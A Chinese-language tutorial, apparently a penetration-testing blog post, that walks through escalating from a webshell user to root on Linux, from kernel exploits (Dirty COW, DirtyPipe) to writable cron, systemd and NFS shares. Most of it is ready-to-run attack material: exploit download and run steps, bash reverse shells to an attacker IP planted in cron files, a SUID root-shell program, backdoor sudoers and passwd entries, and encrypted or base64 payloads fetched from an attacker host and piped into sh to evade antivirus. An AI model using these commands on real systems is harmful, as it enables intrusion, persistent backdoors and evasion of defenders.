声明:这里我只写的是linux本身的提权,docker和中间件,数据库提权会另写
一、内核提权
1.脏牛漏洞
使用对象:内核版本在2.6.22-4.8.3之间的,比如centos7,ubuntu14.04等基本都在影响范围之内
项目地址:https://github.com/gbonacini/CVE-2016-5195.git
实操:
这里我们拿下了webserver,在webshell中可以看到目前只是一个普通的用户,好多事没法做

我们先从github把脏牛下载,考虑到国内访问github比较慢,使用了github加速服务
wget "https://gh-proxy.org/https://github.com/gbonacini/CVE-2016-5195/blob/master/dcow.cpp"下载完成后执行编译命令:g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
如果目标主机没有gcc我们也可以在kali上直接编译好在传递到目标主机执行
接着会生成一个dcow程序,执行./dcow -s,发现提权成功,变成了root用户,而且自动进入了root家目录

2.脏牛2.0版本DirtyPipe(CVE-2022-0847)(常用)
使用范围:内核版本在5.8 ~ 5.16.10,同时不能是5.17+ / 5.15.25+ / 5.10.102+(这几个是长期支持版本,被修复了)
红帽的5.14内核和ubuntu22.04,24.04也修复了
项目地址:https://github.com/imfiver/CVE-2022-0847
查看内核版本:uname -r
下载提权脚本:
wget "https://gh-proxy.org/https://github.com/r1is/CVE-2022-0847/blob/main/Dirty-Pipe.sh"然后chmod +x Dirty-Pipe.sh,./Dirty-Pipe.sh运行即可,
但是现在内核好像基本都修复了,我在换内核换到5.10.190,使用都还不是6.x和5.15.x系列的内核,就翻车了,成功碰运气吧,这次的环境是centos7+5.10.65的内核,建议遇到需要用到这个漏洞的,查看内核版本问ai是否可以使用。

可以cat /etc/issue查看linux系统的版本,然后uname -a查看内核,使用searchsploit搜索可能存在的相关漏洞
二、通用方式提权
1.SUID提权
这个方式的核心就是,系统本来就有一些程序拥有suid权限,但是某些程序被人使用root用户授予了suid权限,任何人都可以用root权限运行这个程序,一般是新手小白,或者运维为了方便经常乱给 SUID,企业内网,个人站长,小公司,学校老机器常见,
快速筛选拥有suid权限的程序
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec 1s -1db {} \;
可以看到有一堆程序,但是要注意,这些不是都可以用的,真正可以拿来使用的是vim find python bash这些可以拿下shell的,而且默认普通用户拿到的也不是root权限,root用户给了这些程序u+s,才可以是root权限,我用bash,find来演示一下
举例

可以看到成功获得root权限

2.SUDO提权
规则滥用(GTFOBins):
核心原理:管理员在 /etc/sudoers 中配置允许普通用户以 root 身份执行某些命令,但这些命令本身具有逃逸到 shell 的功能,导致用户能间接获得 root 权限。
比如添加了:test ALL=(root) NOPASSWD: /usr/bin/vim,/usr/bin/find
此时我们就可以用普通用户test,不需要密码去使用root权限运行这些允许的程序,利用这些命令调用shell,拿到root shell,和suid不同,suid对用户没有限制,这个指定了用户
我们可以使用sudo -l,(需要输入密码)查看当前用户被授权了哪些命令,可以去https://gtfobins.github.io/查找使用方法
sudo自身漏洞:
sudo -V 判断版本
1.CVE-2021-3156:
漏洞影响版本:
sudo: 1.8.2 - 1.8.31p2 sudo: 1.9.0 - 1.9.5p1
项目地址:https://github.com/chenaotian/CVE-2021-3156
利用方式,去项目的exp下运行run.sh,生成exp可执行文件,运行exp即可
2.CVE-2023-22809:
影响版本:1.8.0-1.9.12p1,但是基本都有补丁,执行
dpkg -l sudo | grep sudo关键判断
Ubuntu 22.04:后缀≥
1ubuntu2.2→ 已打补丁;<1ubuntu2.2(如 2.0/2.1)→ 未修复Ubuntu 20.04:后缀≥
1ubuntu1.4→ 已打补丁;<则未修复Ubuntu 18.04:后缀≥
3ubuntu1.5→ 已打补丁;<则未修复✅ 示例(已修复):
1.9.9-1ubuntu2.6(22.04,后缀 2.6≥2.2)
RHEL:rpm -q --changelog sudo | grep CVE-2023-22809
没有输出代表可利用,项目地址:https://github.com/Toothless5143/CVE-2023-22809

影响版本:1.9.14-1.9.17
项目地址:https://github.com/pevinkumar10/CVE-2025-32463.git
利用方式:运行python脚本python exploit.py
3.敏感文件权限错误
字面意思,就是下面这三个文件都属于敏感文件,一般都是root可写,其他要么只读,要们连读的权限都没有,但是因为运维的疏忽,导致这些文件可以读写,从而拿到root权限
/etc/sudoers
一般都是只读,结果执行了类似这条命令的操作,导致普通用户可以不用密码使用linux中的所有程序
或者给了ALL或者bash等shell,导致普通用户权限大,有提权的空间
echo 'www-data ALL=(ALL:ALL) NOPASSWD: ALL' >> /etc/sudoers可以使用sudo -l 查看当前用户在/etc/sudoers的配置
/etc/passwd
原本只有root可写
└─# ll /etc/passwd
-rw-r--r-- 1 root root 3361 3月22日 17:37 /etc/passwd但是配置问题,导致全局可写,普通用户都可以篡改内容
利用方式:
新建一个hacker用户,或者直接把现有的用户改成root用户
echo 'hacker:x:0:0::/root:/bin/bash' >> /etc/passwd #把x删除就是无密码,图形界面登录就是root权限,从普通用户su切换就直接显示root用户
#现有的用户改成root用户,把第三个字段位置改成0
hacker:x:0:0::/root:/bin/bash
/etc/shadow
-rw-r----- 1 root shadow /etc/shadow
# 正常情况,640 权限,只有 root 和 shadow 组可读
#危险情况
-rw-r--r-- 1 root root /etc/shadow # 全局可读!
-rw-rw-rw- 1 root root /etc/shadow # 全局可写(极其危险)可读我们就可以使用john或者hashcat破解:
cat查看,然后保存到一个txt文档就可以破解到密码(第一个root是密码),但是密码太强可能破解不到

可写就好办了:
直接生成哈希,把shadow的第二个字段换成生成的就是我们重新生成的密码了
注意:先看一下原来shadow文件用的什么方式,对症下药
# $6开头的(适配老版本),使用的SHA-512
openssl passwd -6 admin (admin是密码,可以替换)
#$y开头的,适配新版本的,使用的yescrypt,mkpasswd可能有的linux没有,建议使用kali生成复制
mkpasswd -m yescrypt "admin" 4.Capabilities提权
这个提权方式在实战中主要用于docker方面,在宿主机上并不多见,本质和suid类似,都是运维给了某个程序一个特殊权限,从而拿到rootshell,这里我就人为制造一个配置错误
root用户给权限 sudo setcap cap_setuid+ep /usr/bin/python3.10
注意:这里给setuid的对象必须是个文件,得找到真实的文件,不能是软链接,使用realpath python查找python的真实路径
切换普通用户:
python3.10 -c "import os;os.setuid(0);os.system('/bin/bash')"
5.计划任务提权
这个方式核心就是/etc/crontab可以写,/etc/cron.d目录权限过宽,cron中的任务执行的脚本可以被普通用户篡改
这里我给用一个脚本来制造配置crond,模拟配置错误
(目标靶机ubuntu22.04)
# 3. 场景1:root 定时执行可写脚本
mkdir -p /opt/scripts
cat > /opt/scripts/backup.sh << 'EOF'
#!/bin/bash
echo "[$(date)] Backup task running..." >> /var/log/backup.log
# 实际业务逻辑占位
EOF
chmod 777 /opt/scripts/backup.sh # 故意放宽权限
echo "* * * * * root /opt/scripts/backup.sh" > /etc/cron.d/backup_job
chmod 644 /etc/cron.d/backup_job
# 4. 场景2:/etc/cron.d 目录权限过宽
chmod 777 /etc/cron.d
# 5. 场景3:/etc/crontab 文件可被普通用户修改
chmod 666 /etc/crontab
# 6. 重启 cron 使配置生效
systemctl restart cron
echo "[+] 靶机环境初始化完成。使用普通用户登录测试。"1./etc/crontab可写(已失效)
普通用户下查看/etc/crontab的权限:ls -l /etc/crontab
如果可写,添加这一条命令(相当于root下给bash一个suid权限),也可以把命令换成反弹shell
# 追加一行定时任务(每分钟执行一次)
echo '* * * * * root /usr/bin/cp /bin/bash /tmp/.rootbash; /usr/bin/chmod 4755 /tmp/.rootbash' >> /etc/crontab
#确保有一空行,不然无法执行
echo "" >> /etc/crontab等过了1分钟,执行/tmp/.rootbash -p
但是这个已经失效了,无论centos7还是最新版ubuntu,只要/etc/crontab权限太开,就无法执行
2.定时任务中的脚本可以篡改
这里,我们靶机的定时任务的脚本是/opt/scripts/backup.sh
kali端:nc -lvnp 4444
靶机:echo 'bash -c "bash -i >& /dev/tcp/<kali的IP>/4444 0>&1"' >> /opt/scripts/backup.sh
过了一会,kali端成功上线:

3./etc/cron.d/目录可写
查看目录是否可写:ls -ld /etc/cron.d
# 注意:cron.d 下的文件必须以换行符结尾,且需指定执行用户
echo "* * * * * root bash -c 'bash -i >& /dev/tcp/<kali的IP>/4444 0>&1'" > /etc/cron.d/pwn
# 强制换行(cron 要求)
echo "" >> /etc/cron.d/pwn等待一分钟也是成功上线
6.nfs提权
nfs是linux之间的共享服务,类似windows中的samba服务,当NFS服务端配置了 no_root_squash 选项时,客户端的root用户访问共享目录时将保留root权限,从而可被攻击者利用实现提权。
检测是否可用此方法提权
ss -tulpn | grep -E '2049|111' #目标靶机普通用户执行,查看2049和111端口是否监听
showmount -e <目标ip> #在攻击机普通用户执行
ls -la <目标靶机共享的文件夹> #查看权限,只要700,777,755都可以,避免普通用户无权访问目录本身实战使用:
这里有两个方式
1.编译静态SUID文件提权
kali主机:
# 1. 编写最小化提权代码(避免依赖复杂库)
cat > suid_root.c << 'EOF'
#define _GNU_SOURCE
#include <unistd.h>
#include <stdlib.h>
int main(void) {
// 强制设置有效UID/GID为0
setresuid(0, 0, 0);
setresgid(0, 0, 0);
// 使用绝对路径执行bash,-p保留特权
execl("/bin/bash", "bash", "-p", NULL);
return 1;
}
EOF
# 2. 静态编译(关键:-static 脱离系统glibc)
gcc -static -Os -s -o suid_root suid_root.c挂载共享目录到kali:
sudo mount -t nfs -o vers=3 <靶机IP>:<靶机的共享目录> /mnt/nfs_share # /mnt/nfs_share 是需要挂载到kali主机的目录
# 植入并设置SUID
sudo cp suid_root /mnt/nfs_share/
sudo chmod 4755 /mnt/nfs_share/suid_root
# 4755 = rwsr-xr-x
# 验证映射(必须显示root属主)
ls -la /mnt/nfs_share/suid_root靶机普通用户执行:cd <共享目录> && ./suid_root

2.ssh公钥
这个方法更隐蔽一些,相当于拿到了服务器的钥匙,而不是把墙凿了一个洞,但是要求共享的目录必须是/root
假设现在挂载的是root目录,挂载共享目录,并在下面创建所需的目录 sudo mkdir -p <kali挂载靶机共享目录的位置>/.ssh
创建公钥:ssh-keygen -t ed25519 -C "nfs_esc_test" -f ~/.ssh/nfs_id_ed25519 -N ""
注入公钥:sudo sh -c 'cat ~/.ssh/nfs_id_ed25519.pub > /mnt/nfs_share/.ssh/authorized_keys'
直接登录:ssh -i ~/.ssh/nfs_id_ed25519 root@<靶机ip>
注意,前提是目标靶机的/etc/ssh/sshd_config没有限制root登录,或者只禁止了密码登录才可以

7.ssh密钥窃取
这个方式应该是所有提权中最简单的,核心就一个找到root用户的密钥
假设是这样的,我们的目标里面设置了ssh免密登录,目标服务器里有公钥(pub),运维的电脑上有私钥(rsa),然而有的运维为了方便就创建了root的私钥,我们就可以直接把这个私钥复制过来,用它登录目标服务器的root用户或者把他复制下来新建一个文件然后chmod 600 <私钥文件>即可
1.查找所有ssh私钥(路径固定的)
ls -la /root/.ssh/
ls -la /home/*/.ssh/
find / -name "id_rsa" 2>/dev/null
find / -name "*id*" 2>/dev/null | grep -v ".pub"2.使用私钥登录
ssh -i <私钥文件> root@服务器ip或域名
8.Systemd劫持(少见)
1.路径
/etc/systemd/system/ # 系统全局服务(优先级最高,改这里最稳)
/usr/lib/systemd/system/ # 预装 软件服务
2.使用场景
不是所有机器都可以使用这个方法,默认情况原装系统是不会出现这个情况的,使用命令检测后不存在就直接放弃,一般情况下只有目标机器对普通用户开启上面两个目录/文件的写入权限,才可以使用,这种情况可能就是在开发机直接权限放飞或者运维图省事,迁移服务使用了一键脚本导致的。运维可能执行了如下代码:
chmod 777 /etc/systemd/system
chmod 666 /usr/lib/systemd/system/xxx.service
chown user:user /xxx.service3.如何测试
在普通用户(root用户会出现一堆可写的),这条命令可以查找可以写入的文件
find /etc/systemd/system /usr/lib/systemd/system \
-name "*.service" -writable 2>/dev/null这里我给这个upower.service文件授权,成功扫到了

然后执行systemctl list-units --type=service查看systemd是否可用,有类似如下结果说明可以使用这个方法

4.实战手法推荐:
比如现在有这个文件可写/etc/systemd/system/graphical.target.wants/upower.service
1.篡改已有的服务(隐蔽)
先备份原有的文件
cp /etc/systemd/system/graphical.target.wants/upower.service /tmp/upower.bak修改这个文件
ExecStart是服务的可执行文件路径,我们在这个参数后面加上一段命令,这个命令核心作用就一个,systemd运行服务默认是root权限运行的,我们把bash复制到/tmp,然后给了它一个suid权限,接下来就和suid提权差不多了,拿到root用户
[Unit]
Description=Monitor Service
[Service]
Type=simple
ExecStart=/bin/bash -c "cp /bin/bash /tmp/rootshell; chmod u+s /tmp/rootshell"
[Install]
WantedBy=multi-user.target重载配置systemctl daemon-reload
注意这一步必须要执行,但是执行这一步需要root或者安装linux系统创建的第一个用户输入密码验证,所以我们基本没法手动执行,就导致后面步骤失败,这个方法基本就无效了,不过这条路并没有彻底堵死
2.新建服务
这个就时那两个目录可写,但是文件不可写的时候,我们就可以新建一个service,然后步骤和上面的篡改文件方法一致。
但是此时这种方式我们就可以不用手动执行daemon-reload了,可以在/etc/systemd/system目录下创建一个目录,比如有个名字叫nginx服务,我们创建一个nginx.service.d目录,然后在下面创建一个xxx.conf,名字随便起,然后在里面写入
[Service]
ExecStartPre=/bin/bash -c 'echo "hacker ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' #或者用bash做一个反弹shell当这个服务故障,运维重启服务,或者等logrotate重启(日志切换,系统默认凌晨重启),相当于埋雷,并不是直接提权,建议优先使用前面几个提权方式
三、自动化工具配合使用
1.LinPEAS
这个工具就比较nb了,对整个linux扫描,推荐提权方式
项目地址:https://github.com/peass-ng/PEASS-ng/
使用:
下载脚本(也有二进制文件,但是需要根据cpu架构下载正确版本):
wget "https://gh-proxy.org/https://github.com/peass-ng/PEASS-ng/releases/download/20260401-173292e1/linpeas.sh"如果有edr等防护设备使用linpeas_small.sh,相对隐蔽,也可以选择下载二进制文件制作免杀版本
基础扫描模式
精准模块扫描(-o 参数)
官方支持按模块选择性扫描,适合快速验证:
# 模块列表
system_information # 系统信息、内核版本、CVE-2025-38352 等新漏洞检测
container # 容器逃逸检查(Docker/LXC)
cloud # 云环境元数据(AWS/GCP/Azure)
procs_crons_timers_srvcs_sockets # 进程、定时任务、服务
network_information # 网络配置、防火墙规则
users_information # 用户、sudo、密码策略
software_information # 软件版本、配置错误
interesting_files # SUID/SGID、敏感文件、可写文件
api_keys_regex # API 密钥正则匹配实战组合示例:
# 快速检查容器逃逸和用户信息(2分钟)
./linpeas.sh -s -o container,users_information
# 深度检查敏感文件和软件配置
./linpeas.sh -e -o interesting_files,software_information其他关键参数
实战场景命令组合
场景1:标准渗透测试(推荐)
# 全面扫描并保存结果
./linpeas.sh -a > /dev/shm/peas.txt 2>&1
# 分析时过滤关键信息
grep -iE "red|yellow|possible privesc|writable|suid|sudo|cron|cve|password" peas.txt场景2:EDR/AV 环境隐蔽执行
# 三重隐蔽:内存执行 + 隐蔽模式 + 静默
curl -L http://攻击机IP/linpeas.sh | bash -s -- -s -q
# 或下载后执行并立即删除
wget http://攻击机IP/linpeas_small.sh -O /tmp/.cache
chmod +x /tmp/.cache
/tmp/.cache -s -q > /dev/shm/.log 2>&1
rm /tmp/.cache /dev/shm/.log场景3:已知密码快速验证
# 用已知密码测试 sudo 权限和横向移动
./linpeas.sh -P "已知密码" -o users_information内网横向移动(网络发现)
# 自动发现主机和端口扫描(不写磁盘用 -t)
./linpeas.sh -t
# 指定网段发现
./linpeas.sh -d 192.168.1.0/24 -p 22,80,443,445,3389
# 扫描特定 IP 的端口
./linpeas.sh -i 192.168.1.100 -p 22,80,443,3306,5432,8080AV/EDR 绕过技巧(官方推荐)
OpenSSL 加密传输
# 攻击机加密
openssl enc -aes-256-cbc -pbkdf2 -salt -pass pass:AVBypassWithAES -in linpeas.sh -out lp.enc
python3 -m http.server 80
# 目标机解密执行(内存中无明文脚本特征)
curl 攻击机IP/lp.enc | openssl enc -aes-256-cbc -pbkdf2 -d -pass pass:AVBypassWithAES | shBase64 编码
# 攻击机编码
base64 -w0 linpeas.sh > lp.enc
python3 -m http.server 80
# 目标机解码执行
curl 攻击机IP/lp.enc | base64 -d | sh2.linux-exploit-suggester
这个工具主要是根据内核版本推荐使用哪个cve漏洞
项目地址:https://github.com/The-Z-Labs/linux-exploit-suggester
使用:
普通用户下载脚本:
wget "https://gh-proxy.org/https://github.com/The-Z-Labs/linux-exploit-suggester/blob/master/linux-exploit-suggester.sh"给权限并运行:chmod +x linux-exploit-suggester.sh && ./linux-exploit-suggester.sh
重点关注Exposure,它表示漏洞可利用的程度
指定内核版本号精准扫描:
./linux-exploit-suggester.sh -k 5.10.65-1.el7.x86_64 #(-k后面是使用uname -r查到的版本号)
查看内核保护机制:
./linux-exploit-suggester.sh --checksec寻找权限提升的利用方式:
./linux-exploit-suggester.sh --fetch-binaries